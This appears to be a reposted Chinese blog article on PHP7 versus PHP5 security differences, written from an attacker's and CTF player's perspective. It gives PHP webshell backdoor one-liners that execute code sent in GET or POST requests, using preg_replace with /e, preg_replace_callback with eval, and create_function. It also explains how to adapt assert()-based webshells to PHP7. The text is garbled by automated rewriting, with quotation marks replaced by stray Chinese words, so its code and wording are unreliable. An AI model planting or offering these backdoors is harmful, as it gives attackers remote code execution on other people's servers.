函数修正
preg_replace()不再支持/e润色符
<?php preg_replace(\公众/./e\"大众,$_GET[\公众h\"大众],\"大众.\公众); ?>
利用\e润色符实行代码的后门大家也用了不少了，详细看官方的这段描述:
如果设置了这个被弃用的润色符， preg_replace() 在进行了对换换字符串的 后向引用更换之后, 将更换后的字符串作为php 代码评估实行(eval 函数办法)，并利用实行结果 作为实际参与更换的字符串。单引号、双引号、反斜线()和 NULL 字符在 后向引用更换时会被用反斜线转义.
很不幸，在PHP7以上版本不在支持\e润色符，同时官方给了我们一个新的函数preg_replace_callback：
这里我们轻微改动一下就可以利用它当我们的后门：
<?php preg_replace_callback(\公众/./\"大众,function ($a){@eval($a[0]);},$_GET[\公众h\"大众]); ?>
create_function()被废弃
<?php $func =create_function('',$_POST['cmd']);$func(); ?>
少了一种可以利用当后门的函数，实际上它是通过实行eval实现的。可有可无。
mysql_系列全员移除
如果你要在PHP7上面用老版本的mysql_系列函数须要你自己去额外装了，官方不在自带，现在官方推举的是mysqli或者pdo_mysql。这是否预示着未来SQL注入漏洞在PHP上的大幅减少呢~
我已经良久没在目标站上挖到过sql注入了，全都是预编译！
unserialize()增加一个可选白名单参数
$data = unserialize($serializedObj1 , [\"大众allowed_classes\公众 => true]);
$data2 = unserialize($serializedObj2 , [\公众allowed_classes\"大众 => [\"大众MyClass1\公众, \"大众MyClass2\"大众]]);
实在便是一个白名单，如果反序列数据里面的类名不在这个白名单内，就会报错。
像这样的报错！
可以是类名也可以是布尔数据，如果是FALSE就会将所有的工具都转换为__PHP_Incomplete_Class工具。TRUE是无限制。也可以传入类名实现白名单。
还好现在是可选不是必选，假如默认FALSE逼程序员弄白名单那就真的吐血了。
assert()默认不在可以实行代码
这便是浩瀚马不能用的罪魁罪魁了，太多的马用assert()来实行代码了，这个更新基本就团灭，一样平常情形下修正成eval即可正常运行了~
语法修正
foreach不再改变内部数组指针
<?php $a = array('1','2','3'); foreach ($a as $k=>&$n){ echo \"大众\公众;
}
print_r($a); foreach ($a as $k=>$n){ echo \"大众\公众;
}
print_r($a);
这样的代码在php5中，是这样的实行结果：
由于数组末了一个元素的 $value 引用在 foreach 循环之后仍会保留，在第二个循环的时候实际上是对之前的指针不断的赋值。php7中通过值遍历时，操作的值为数组的副本，不在对后续操作进行影响。
这个改动影响了某些cms的洞在PHP7上无法利用了….你知道我指的是哪个洞的。
这个问题在PHP7.0.0往后的版本又被改回去了，只影响这一个版本。
8进制字符容错率降落
在php5版本，如果一个八进制字符如果含有无效数字，该无效数字将被静默删节。
<?php echo octdec( '012999999999999' ) . \公众\n\"大众; echo octdec( '012' ) . \公众\n\"大众; if (octdec( '012999999999999' )==octdec( '012' )){ echo \公众: )\公众. \公众\n\"大众;
}
比如这样的代码在php5中的实行结果如下：
但是在php7里面会触发一个解析缺点。
这个问题同样在PHP7.0.0往后的版本又被改回去了，只影响这一个版本。
十六进制字符串不再被认为是数字
这个修正一出，往后CTF套路会少很多啊~
很多骚操作都不能用了~
这个没什么好说的，大家都懂。
<?php var_dump(\公众0x123\"大众 == \"大众291\"大众);
var_dump(is_numeric(\"大众0x123\"大众));
var_dump(\公众0xe\"大众 + \"大众0x1\"大众);
var_dump(substr(\公众foo\公众, \"大众0x1\公众)); ?>
以上代码在PHP5运行结果如下：
PHP7运行结果如下：
你以为我要说这个在后续版本被改回去了？不，目前截至最新的PHP7.3版本依然没有改回去的征兆，官方称不会在改了。这个讲道理还是蛮伤的。
移除了 ASP 和 script PHP 标签
现在只有<?php ?>这样的标签能在php7上运行了。
字面意思，影响实在不是很大（只是往后骚套路会少一点）。
超大浮点数类型转换截断
将浮点数转换为整数的时候，如果浮点数值太大，导致无法以整数表达的情形下， 在PHP5的版本中，转换会直接将整数截断，并不会引发缺点。 在PHP7中，会报错。
CTF又少一个出题套路，这个问题我只在CTF上见过，影相应当不大。
杂项
exec(), system() passthru()函数对 NULL 增加了保护.
list()不再能解开字符串string变量
$HTTP_RAW_POST_DATA 被移除
__autoload() 方法被废弃
parse_str() 不加第二个参数会直接把字符串导入当前的符号表，如果加了就会转换称一个数组。现在是第二个参数是强行选项了。
统一不同平台下的整型长度
session_start() 可以加入一个数组覆盖php.ini的配置
干系推举：《PHP教程》
本篇文章便是关于PHP7和PHP5在安全上的差异先容，希望对须要的朋友有所帮助！
以上便是PHP7和PHP5在安全上的差异（实例）的详细内容，更多请关注其它干系文章！
更多技巧请《转发 + 关注》哦！
